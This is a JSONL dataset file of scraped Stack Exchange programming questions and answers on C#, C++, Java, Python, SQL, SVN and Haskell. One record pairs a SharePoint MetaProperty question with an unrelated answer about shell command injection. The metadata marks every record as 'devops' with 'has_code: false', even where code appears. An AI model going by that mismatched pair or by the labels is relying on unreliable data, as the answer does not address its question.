{"id": "hf_6e7a44401f8e", "question": "<p>In C++, what alternatives do I have for exposing a collection, from the point of view of performance and data integrity?</p>\n\n<p>My problem is that I want to return an internal list of data to the caller, but I don't want to generate a copy. Thant leaves me with either returning a reference to the list, or a pointer to the list. However, I'm not crazy about letting the caller change the data, I just want to let it read the data.  </p>\n\n<ul>\n<li>Do I have to choose between performance and data integrity?  </li>\n<li>If so, is in general better to go one way or is it particular to the case?  </li>\n<li>Are there other alternatives?</li>\n</ul>\n", "question_body": "", "answer": "Maybe something like this?\n```\n```\nconst std::vector<mydata>& getData()\n{\n  return _myPrivateData;\n}\n```\n```\nThe benefit here is that it's very, very simple, and as safe as you getin C++.  You can cast this, like RobQ suggests, but there's nothing you can do that would prevent someone from that if you're not copying.  Here, you would have to use\n```\nconst_cast\n```\n, which is pretty easy to spot if you're looking for it.\nIterators, alternatively, might get you pretty much the same thing, but it's more complicated.  The only added benefit of using iterators here (that I can think of) is that you can have better encapsulation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.591620"}
{"id": "hf_ff563f01f448", "question": "<p>How can I create an empty one-dimensional string array?</p>\n", "question_body": "", "answer": "Not sure why you'd want to, but the C# way would be\n```\n```\nstring[] newArray = new string[0];\n```\n```\nI'm guessing that VB won't be too dissimilar to this.\nIf you're building an empty array so you can populate it with values later, you really should consider using\n```\n```\nList<string>\n```\n```\nand converting it to an array (if you really need it as an array) with\n```\n```\nnewListOfString.ToArray();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.640740"}
{"id": "hf_357f3d140c5a", "question": "<p>I heard on a recent podcast (Polymorphic) that it is possible to cache a user control as opposed to the entire page.  </p>\n\n<p>I think my header control which displays static content and my footer control could benefit from being cached.  </p>\n\n<p>How can I go about caching just those controls?</p>\n", "question_body": "", "answer": "Take a look\nhere\nYou can use\n```\nVaryByParam\n```\nand\n```\nVaryByControl\n```\nin the output cache.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.729306"}
{"id": "hf_345878e7859a", "question": "<p>What actually happens to the file system when you do a Subclipse Share Project on an Eclipse project that was externally checked out from Subversion?  All the .svn folders are already in place.  I get an error when I try to Share Project the right way, and I'd rather not delete and re-checkout the projects from the SVN  Repository browser.</p>\n", "question_body": "", "answer": "Dunno exactly what happens within eclipse, I presume it does some funky stuff in the .metadata directory of the workspace.  That said, I would recommend the following to get eclipse to learn about the svn settings of the project:\nDelete the project from the workspace (keep \"Delete project contents on disk\" unchecked)\nFile > Import... > General > Existing Projects into Workspace\nBrowse to the folder containing the original project(s) of interest\nImport the projects into your workspace\nThis seems to have the side effect of subclipse noticing the subversion settings when importing the \"new\" projects into your workspace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.752299"}
{"id": "hf_9196a048d134", "question": "<p>Ok, so my method in my webservice requires a type to be passed, it is called in the ServiceMethod property of the AutoCompleteExtender, I am fuzzy about how I should do that so I called it like this:</p>\n\n<pre><code>ServiceMethod=\"DropDownLoad&lt;&lt;%=(typeof)subCategory%&gt;&gt;\"\n</code></pre>\n\n<p>where subCategory is a page property that looks like this:</p>\n\n<pre><code>protected SubCategory subCategory\n{\n    get\n    {\n        var subCategory = NHibernateObjectHelper.LoadDataObject&lt;SubCategory&gt;(Convert.ToInt32(Request.QueryString[\"SCID\"]));\n        return subCategory;\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "I dont' think calling a Generic Method on a webservice is possible.\nIf you look at the service description of two identical methods, one generic, one not:\n```\n```\n[WebMethod]\npublic string[] GetSearchList(string prefixText, int count)\n{\n}\n\n[WebMethod]\npublic string[] GetSearchList2<T>(string prefixText, int count)\n{\n}\n```\n```\nThey are identical.  It appears that both SOAP 1.x and HTTP POST do not allow this type of operation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.776914"}
{"id": "hf_eb759f31b913", "question": "<p>What would be your preferred way to concatenate strings from a sequence such that between every two consecutive pairs a comma is added. That is, how do you map, for instance, <code>['a', 'b', 'c']</code> to <code>'a,b,c'</code>? (The cases <code>['s']</code> and <code>[]</code> should be mapped to <code>'s'</code> and <code>''</code>, respectively.)</p>\n\n<p>I usually end up using something like <code>''.join(map(lambda x: x+',',l))[:-1]</code>, but also feeling somewhat unsatisfied.</p>\n", "question_body": "", "answer": "```\n```\nmy_list = ['a', 'b', 'c', 'd']\nmy_string = ','.join(my_list)\n```\n```\n```\n```\n'a,b,c,d'\n```\n```\nThis won't work if the list contains integers\nAnd if the list contains non-string types (such as integers, floats, bools, None) then do:\n```\n```\nmy_string = ','.join(map(str, my_list))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.813377"}
{"id": "hf_07adcc8213ca", "question": "<p>I'm on .NET 2.0, running under Medium Trust (so <a href=\"http://msdn.microsoft.com/en-us/library/system.timezoneinfo.aspx\" rel=\"nofollow noreferrer\">TimeZoneInfo</a> and the Registry are not allowed options).  I'm asking the user for two dates and a time zone, and would really love to be able to automatically determine whether I need to adjust the time zone for DST.  </p>\n\n<p>This probably isn't even a valid scenario unless I have some <em>very</em> robust support, a la <a href=\"http://msdn.microsoft.com/en-us/library/system.timezoneinfo.aspx\" rel=\"nofollow noreferrer\">TimeZoneInfo</a>, to differentiate between all of the different varieties of Time Zones in the first place.</p>\n", "question_body": "", "answer": "Well, since\n```\nTimeZoneInfo\n```\nis excluded, you're probably not going to find a solution in the framework itself (but don't quote me on that).\nIn which case, have you considered reflectoring the\n```\nTimeZoneInfo\n```\nclass and using what you find there?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.874114"}
{"id": "hf_6b00f5b21452", "question": "<p>Scenario: Document library in SharePoint with column x of \"Person or Group\" type.  From within a VBA macro (or VSTO add-in) we're trying to access the MetaProperty on the document to set/get the user name.  Any attempt to access the value via the ContentTypeProperties collection throws a </p>\n\n<blockquote>\n  <p>Type MisMatch error (13).</p>\n</blockquote>\n\n<p>The Type property of the MetaProperty object says it's <code>msoMetaPropertyTypeUser</code>.  I cannot find any examples of how to work with MetaProperties of this type.  Anyone have any experience with this?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Are you executing the programs directly or going through the shell?  If you always launch an external program by giving the full path name to the executable and leaving the shell out of the equation, then you aren't really susceptible to any kind of command line injection.\nEDIT: DrFloyd, the shell is responsible for evaluating things like the backtick.  No shell, no shell evaluation.  Obviously, you've still got to be aware of any potential security gotchas in the programs that you're calling -- but I don't think this question is about that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.910921"}
{"id": "hf_165474e2bf16", "question": "<p>Has anyone used ADO.NET Data Services as a data source for Adobe Flex applications?  If so, any success stories or tragedies to avoid?  If you did use it, how did you handle security?</p>\n", "question_body": "", "answer": "I use WebORB for .NET to do Flex remoting and then use DLINQ on the server. One tricky thing about using LINQ with WebORB is that WebORB uses Reflection to automatically retrieve all the relationships of the object(s) you return to Flex. This causes severe time penalties as LINQ uses lazy loading to load relationships. To prevent this from happening, I do something like the following:\nOverride your DataContext's constructor and add the following code:\n```\n```\nthis.DeferredLoadingEnabled = false;\nDataLoadOptions dlo = new DataLoadOptions();\ndlo.LoadWith<Order>(q => q.Payments);\ndlo.LoadWith<Order>(q => q.Customer);\nthis.LoadOptions = dlo;\n```\n```\nThis tells the DataContext to disable deferred loading of relationships and specifically instructs it to load just the relationships you want, without lazy loading. That way, WebORB isn't causing any lazy loading to happen through Reflection and the number of relationships being transferred to Flex is kept at a minimum.\nHope this helps you in some way. It's definitely one of those little \"gotchas\" when working with Flex/WebORB and LINQ.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.935980"}
{"id": "hf_f0cd7a90b0e1", "question": "<p>I see <code>__all__</code> in <code>__init__.py</code> files. What does it do?</p>\n", "question_body": "", "answer": "It's a list of public objects of that module, as interpreted by\n```\nimport *\n```\n. It overrides the default of hiding everything that begins with an underscore.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:38.973035"}
{"id": "hf_3c6d23ee3e86", "question": "<p>Does the Java language have delegate features, similar to how C# has support for delegates?</p>\n", "question_body": "", "answer": "Short story: ­­­­­­­­­­­­­­­­­­­no\n.\nIntroduction\nThe newest version of the Microsoft Visual J++ development environment\nsupports a language construct called\ndelegates\nor\nbound method\nreferences\n. This construct, and the new keywords\n```\ndelegate\n```\nand\n```\nmulticast\n```\nintroduced to support it, are not a part of the Java\nTM\nprogramming language, which is specified by the\nJava Language\nSpecification\nand amended by the\nInner Classes Specification\nincluded\nin the\ndocumentation for the JDKTM 1.1 software\n.\nIt is unlikely that the Java programming language will ever include\nthis construct. Sun already carefully considered adopting it in 1996,\nto the extent of building and discarding working prototypes. Our\nconclusion was that bound method references are unnecessary and\ndetrimental to the language. This decision was made in consultation\nwith Borland International, who had previous experience with bound\nmethod references in Delphi Object Pascal.\nWe believe bound method references are\nunnecessary\nbecause another\ndesign alternative,\ninner classes\n, provides equal or superior\nfunctionality. In particular, inner classes fully support the\nrequirements of user-interface event handling, and have been used to\nimplement a user-interface API at least as comprehensive as the\nWindows Foundation Classes.\nWe believe bound method references are\nharmful\nbecause they detract\nfrom the simplicity of the Java programming language and the\npervasively object-oriented character of the APIs. Bound method\nreferences also introduce irregularity into the language syntax and\nscoping rules. Finally, they dilute the investment in VM technologies\nbecause VMs are required to handle additional and disparate types of\nreferences and method linkage efficiently.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.057377"}
{"id": "hf_ec39e54f9bc2", "question": "<p>My app has many controls on its surface, and more are added dynamically at runtime.</p>\n\n<p>Although i am using tabs to limit the number of controls shown, and double-buffering too, it still flickers and stutters when it has to redraw (resize, maximize, etc).</p>\n\n<p>What are your tips and tricks to improve WinForms app performance?</p>\n", "question_body": "", "answer": "Are you making good use of\n```\nSuspendLayout()\n```\nand\n```\nResumeLayout()\n```\n?\nhttp://msdn.microsoft.com/en-us/library/system.windows.forms.control.suspendlayout(VS.80).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.082472"}
{"id": "hf_e56574252ce8", "question": "<p>Is there any efficiency difference in an explicit vs implicit inner join?\nFor example:</p>\n\n<pre><code>SELECT * FROM\ntable a INNER JOIN table b\nON a.id = b.id;\n</code></pre>\n\n<p>vs.</p>\n\n<pre><code>SELECT a.*, b.*\nFROM table a, table b\nWHERE a.id = b.id;\n</code></pre>\n", "question_body": "", "answer": "Performance wise, they are exactly the same (at least in SQL Server).\nPS: Be aware that the\n```\nIMPLICIT OUTER JOIN\n```\nsyntax is deprecated since SQL Server 2005. (The\n```\nIMPLICIT INNER JOIN\n```\nsyntax as used in the question is still supported)\nDeprecation of \"Old Style\" JOIN Syntax: Only A Partial Thing", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.106439"}
{"id": "hf_77885e6fbeb0", "question": "<p>Does anybody know any good resources for learning how to program CIL with in-depth descriptions of commands, etc.? I have looked around but not found anything particularly good.</p>\n", "question_body": "", "answer": "Expert .NET 2.0 IL Assembler  by Serge Lidin\nThere was a 1.1 version of the same book, but I haven't seen anything for the latest .NET release.  It's an excellent book.  I used it to write an OCR component in MSIL, as a learning project.\n[Edit] @Curt is right, 3.0 and 3.5 are just extensions to 2.0, I hadn't plugged that in to my head yet.  Now I've thought of a fun geek project... compare the disassembly of standard 2.0 code to the new LINQ/Lambda way of performing common tasks like filtering lists.  For some reason I assumed that the magic was happening in new IL features, not just the compiler.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.143490"}
{"id": "hf_6a92ca8a4e6f", "question": "<p>Can you cast a <code>List&lt;int&gt;</code> to <code>List&lt;string&gt;</code> somehow?</p>\n\n<p>I know I could loop through and .ToString() the thing, but a cast would be awesome.</p>\n\n<p>I'm in C# 2.0 (so no <a href=\"http://en.wikipedia.org/wiki/Language_Integrated_Query\" rel=\"noreferrer\">LINQ</a>).</p>\n", "question_body": "", "answer": "Is C# 2.0 able to do\n```\nList<T>.Convert\n```\n? If so, I think your best guess would be to use that with a delegate:\n```\n```\nList<int> list = new List<int>();\nlist.Add(1);\nlist.Add(2);\nlist.Add(3);\nlist.Convert(delegate (int i) { return i.ToString(); });\n```\n```\nSomething along those lines.\nGlenn's answer is probably the correct code ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.168660"}
{"id": "hf_eb2d0c452c90", "question": "<p>I've searched on the Internet for comparisons between <a href=\"http://en.wikipedia.org/wiki/F_Sharp_%28programming_language%29\" rel=\"noreferrer\">F#</a> and <a href=\"http://en.wikipedia.org/wiki/Haskell_%28programming_language%29\" rel=\"noreferrer\">Haskell</a> but haven't found anything really definitive. What are the primary differences and why would I want to choose one over the other?</p>\n", "question_body": "", "answer": "Well, for one I'd say a main advantage is that F# compiles against the .NET platform which makes it easy to deploy on windows. I've seen examples which explained using F# combined with ASP.NET to build web applications ;-)\nOn the other hand, Haskell has been around for waaaaay longer, so I think the group of people who are real experts on that language is a lot bigger.\nFor F# I've only seen one real implementation so far, which is the Singularity proof of concept OS. I've seen more real world implementations of Haskell.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.193537"}
{"id": "hf_e8f81370ae6d", "question": "<p>Having briefly looked at Haskell recently, what would be a <em>brief, succinct, practical</em> explanation as to what a monad essentially is?</p>\n\n<p>I have found most explanations I've come across to be fairly inaccessible and lacking in practical detail.</p>\n", "question_body": "", "answer": "But,\nYou could have invented Monads!\nsigfpe says:\nBut all of these introduce monads as something esoteric in need of explanation. But what I want to argue is that they aren't esoteric at all. In fact, faced with various problems in functional programming you would have been led, inexorably, to certain solutions, all of which are examples of monads. In fact, I hope to get you to invent them now if you haven't already. It's then a small step to notice that all of these solutions are in fact the same solution in disguise. And after reading this, you might be in a better position to understand other documents on monads because you'll recognise everything you see as something you've already invented.\nMany of the problems that monads try to solve are related to the issue of side effects. So we'll start with them. (Note that monads let you do more than handle side-effects, in particular many types of container object can be viewed as monads. Some of the introductions to monads find it hard to reconcile these two different uses of monads and concentrate on just one or the other.)\nIn an imperative programming language such as C++, functions behave nothing like the functions of mathematics. For example, suppose we have a C++ function that takes a single floating point argument and returns a floating point result. Superficially it might seem a little like a mathematical function mapping reals to reals, but a C++ function can do more than just return a number that depends on its arguments. It can read and write the values of global variables as well as writing output to the screen and receiving input from the user. In a pure functional language, however, a function can only read what is supplied to it in its arguments and the only way it can have an effect on the world is through the values it returns.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.219031"}
{"id": "hf_a8235a7d453a", "question": "<p>Is it currently possible with pre release of ironruby to run rubygems? It seems as if I have to set an environment variable to find them? </p>\n", "question_body": "", "answer": "if you set ENV['GEM_PATH'] correctly before using rubygems, then gems will work\nsometimes\nunder IronRuby.  I'm actually looking at fixing this right now.\nAlso, this kind of question is probably better suited for the\nIronRuby mailing list\nthan it is for StackOverflow.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.244822"}
{"id": "hf_738d8196e424", "question": "<p>How can one determine, in code, how long the machine is locked?</p>\n\n<p>Other ideas outside of C# are also welcome.</p>\n\n<hr>\n\n<p>I like the windows service idea (and have accepted it) for simplicity and cleanliness, but unfortunately I don't think it will work for me in this particular case. I wanted to run this on my workstation at work rather than home (or in addition to home, I suppose), but it's locked down pretty hard courtesy of the DoD. That's part of the reason I'm rolling my own, actually.</p>\n\n<p>I'll write it up anyway and see if it works. Thanks everyone!</p>\n", "question_body": "", "answer": "Below is the 100% working code to find if the PC is locked or not.\nBefore using this use the namespace\n```\nSystem.Runtime.InteropServices\n```\n.\n```\n```\n[DllImport(\"user32\", EntryPoint = \"OpenDesktopA\", CharSet = CharSet.Ansi,SetLastError = true, ExactSpelling = true)]\nprivate static extern Int32 OpenDesktop(string lpszDesktop, Int32 dwFlags, bool fInherit, Int32 dwDesiredAccess);\n\n[DllImport(\"user32\", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]\nprivate static extern Int32 CloseDesktop(Int32 hDesktop);\n\n[DllImport(\"user32\", CharSet = CharSet.Ansi,SetLastError = true,ExactSpelling = true)]\nprivate static extern Int32 SwitchDesktop(Int32 hDesktop);\n\npublic static bool IsWorkstationLocked()\n{\n    const int DESKTOP_SWITCHDESKTOP = 256;\n    int hwnd = -1;\n    int rtn = -1;\n\n    hwnd = OpenDesktop(\"Default\", 0, false, DESKTOP_SWITCHDESKTOP);\n\n    if (hwnd != 0)\n    {\n        rtn = SwitchDesktop(hwnd);\n        if (rtn == 0)\n        {\n            // Locked\n            CloseDesktop(hwnd);\n            return true;\n        }\n        else\n        {\n            // Not locked\n            CloseDesktop(hwnd);\n        }\n    }\n    else\n    {\n        // Error: \"Could not access the desktop...\"\n    }\n\n    return false;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.269551"}
{"id": "hf_fed87c2428da", "question": "<p>I'm trying to get the following bit of code to work in LINQPad but am unable to index into a var. Anybody know how to index into a var in LINQ?</p>\n\n<pre><code>string[] sa = {\"one\", \"two\", \"three\"};\nsa[1].Dump();\n\nvar va = sa.Select( (a,i) =&gt; new {Line = a, Index = i});\nva[1].Dump();\n// Cannot apply indexing with [] to an expression of type 'System.Collections.Generic.IEnumerable&lt;AnonymousType#1&gt;'\n</code></pre>\n", "question_body": "", "answer": "As the comment says, you cannot apply indexing with\n```\n[]\n```\nto an expression of type\n```\nSystem.Collections.Generic.IEnumerable<T>\n```\n. The IEnumerable interface only supports the method\n```\nGetEnumerator()\n```\n. However with LINQ you can call the extension method\n```\nElementAt(int)\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.298441"}
{"id": "hf_580791e2617a", "question": "<p>Given a string of JSON data, how can I safely turn that string into a JavaScript object?</p>\n\n<p>Obviously I can do this unsafely with something like:</p>\n\n<pre><code>var obj = eval(\"(\" + json + ')');\n</code></pre>\n\n<p>but that leaves me vulnerable to the JSON string containing other code, which it seems very dangerous to simply eval.</p>\n", "question_body": "", "answer": "I'm not sure about other ways to do it but here's how you do it in\nPrototype (JSON tutorial)\n.\n```\n```\nnew Ajax.Request('/some_url', {\n  method:'get',\n  requestHeaders: {Accept: 'application/json'},\n  onSuccess: function(transport){\n    var json = transport.responseText.evalJSON(true);\n  }\n});\n```\n```\nCalling\n```\nevalJSON()\n```\nwith true as the argument sanitizes the incoming string.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.348355"}
{"id": "hf_c75bf9ff0fda", "question": "<p>I'm wanting to parse a string into a nullable int in C#.  ie. I want to get back either the int value of the string or null if it can't be parsed.</p>\n\n<p>I was kind of hoping that this would work</p>\n\n<pre><code>int? val = stringVal as int?;\n</code></pre>\n\n<p>But that won't work, so the way I'm doing it now is I've written this extension method</p>\n\n<pre><code>public static int? ParseNullableInt(this string value)\n{\n    if (value == null || value.Trim() == string.Empty)\n    {\n        return null;\n    }\n    else\n    {\n        try\n        {\n            return int.Parse(value);\n        }\n        catch\n        {\n            return null;\n        }\n    }\n}   \n</code></pre>\n\n<p>Is there a better way of doing this?</p>\n\n<p><strong>EDIT:</strong>  Thanks for the TryParse suggestions, I did know about that, but it worked out about the same.  I'm more interested in knowing if there is a built-in framework method that will parse directly into a nullable int?</p>\n", "question_body": "", "answer": "```\nint.TryParse\n```\nis probably a tad easier:\n```\n```\npublic static int? ToNullableInt(this string s)\n{\n    int i;\n    if (int.TryParse(s, out i)) return i;\n    return null;\n}\n```\n```\nEdit\n@Glenn\n```\nint.TryParse\n```\nis \"built into the framework\". It and\n```\nint.Parse\n```\nare\nthe\nway to parse strings to ints.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.373066"}
{"id": "hf_ad201354d293", "question": "<p>I need to deploy a few files that were checked in sometime ago (can't remember the exact ones), so I'm looking to get a list so I can deploy just those files. What is the svn command to do this?</p>\n", "question_body": "", "answer": "```\nsvn log\n```\nhas a\n```\n--verbose\n```\nparameter. I don't have a repository here to test with, but does that return a list of modified files?\nYou can also use\n```\nsvn diff -r <revision>\n```\nto retrieve the full change details, which you can parse or read manually to find out which files were changed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.409598"}
{"id": "hf_9b9ea107df79", "question": "<p>Is there a better way to flash a window in Java than this:</p>\n\n<pre><code>public static void flashWindow(JFrame frame) throws InterruptedException {\n        int sleepTime = 50;\n        frame.setVisible(false);\n        Thread.sleep(sleepTime);\n        frame.setVisible(true);\n        Thread.sleep(sleepTime);\n        frame.setVisible(false);\n        Thread.sleep(sleepTime);\n        frame.setVisible(true);\n        Thread.sleep(sleepTime);\n        frame.setVisible(false);\n        Thread.sleep(sleepTime);\n        frame.setVisible(true);\n}\n</code></pre>\n\n<p>I know that this code is scary...But it works alright. (I should implement a loop...)</p>\n", "question_body": "", "answer": "Well, there are a few minor improvements we could make. ;)\nI would use a Timer to make sure callers don't have to wait for the method to return. And preventing more than one flashing operation at a time on a given window would be nice too.\n```\n```\nimport java.util.Map;\nimport java.util.Timer;\nimport java.util.TimerTask;\nimport java.util.concurrent.ConcurrentHashMap;\nimport javax.swing.JFrame;\n\npublic class WindowFlasher {\n\n    private final Timer timer = new Timer();\n    private final Map<JFrame, TimerTask> flashing\n                              = new ConcurrentHashMap<JFrame, TimerTask>();\n\n    public void flashWindow(final JFrame window,\n                            final long period,\n                            final int blinks) {\n        TimerTask newTask = new TimerTask() {\n            private int remaining = blinks * 2;\n\n            @Override\n            public void run() {\n                if (remaining-- > 0)\n                    window.setVisible(!window.isVisible());\n                else {\n                    window.setVisible(true);\n                    cancel();\n                }\n            }\n\n            @Override\n            public boolean cancel() {\n                flashing.remove(this);\n                return super.cancel();\n            }\n        };\n        TimerTask oldTask = flashing.put(window, newTask);\n\n        // if the window is already flashing, cancel the old task\n        if (oldTask != null)\n            oldTask.cancel();\n        timer.schedule(newTask, 0, period);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.458550"}
{"id": "hf_83514d6ded22", "question": "<p>Ok, I asked a question earlier about Flex and ADO.NET Data Services but didn't get much response so I thought I'd rephrase.  Does anyone have any experience building Adobe Flex applications with a .NET back-end?  If so, what architecture did you use and what third-party tools if any did you employ.  I've read a little about doing Flex remoting with WebORB but it seems more complicated than it should be, are web services an adequate alternative?</p>\n", "question_body": "", "answer": "I've mainly used plain ASP.NET pages that return XML for situations that are mainly one-way (data from ASP.NET --> Flex/Flash) communication. The Flex side just uses a URLLoader to hit the ASP.NET page and loads the result as XML.\nIf the communication needs to be a little more two-sided (sending more than a couple parameters to ASP.NET lets say), I have used standard ASP.NET webservices.\nI've never used WebOrb or Flex remoting because I've never really needed that type of interaction between the server and the SWF.\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.483126"}
{"id": "hf_53dedbc89365", "question": "<p>Is there a Regular Expression that can detect SQL in a string? Does anyone have a sample of something that they have used before to share?</p>\n", "question_body": "", "answer": "Don't do it. You're practically guaranteed to fail. Use\n```\nPreparedStatement\n```\n(or its equivalent) instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.519797"}
{"id": "hf_17ad7a754a01", "question": "<p>I am designing a new System and I have a lot of Interfaces that will grow over time with the system. What is the best practice to name this interfaces</p>\n\n<pre><code>ISomethingV01\nISomethingV02\netc\n</code></pre>\n\n<p>and I do this</p>\n\n<pre><code>public interface ISomething{\n      void method();\n}\n</code></pre>\n\n<p>then I have to add method 2 so now what I do?</p>\n\n<pre><code>public interface ISomethingV2:ISomething{\n      void method2();\n}\n</code></pre>\n\n<p>or same other way?</p>\n", "question_body": "", "answer": "The purpose of an interface is to define an abstract pattern that at type must implement.\nIt would be better implement as:\n```\n```\npublic interface ISomething\n\npublic class Something1 : ISomething\npublic class Something2 : ISomething\n```\n```\nYou do not gain anything in the form of code reusability or scalable design by creating multiple versions of the same interface.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.556311"}
